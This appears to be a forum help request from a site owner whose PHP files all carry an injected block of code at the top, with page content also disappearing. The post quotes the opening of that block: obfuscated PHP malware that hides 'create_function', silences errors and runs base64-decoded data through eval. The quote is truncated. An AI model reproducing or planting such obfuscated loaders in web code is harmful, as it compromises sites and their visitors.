All of the PHP files in our website have developed error reports at the top that are hundreds of lines long.

There is also content disappearing from the bottom of some of the webpages.

The error report starts like this

<?php $zend_framework ="\x63\162\x65\ 141\x74\145\x5f \146\x75\156\x6 3\164\x69\157\x 6e"; @error_reportin g(0); $zend_framework ("", "\x7d\73\x40\14 5\x76\141\x6c\5 0\x40\142\x61\1 63\x65\66\x34\1 37\x64\145\x63\ 157\x64\145\x28 \42\x4a\107\x56 \62YTFmWTJiYWsx Y3owaXIgPSAiXHg 2NlwxNjVceDZlXD E0M1x4NzRcMTUxX Hg2ZlwxNTZceDVm XDE0NVx4NzhcMTU xXHg...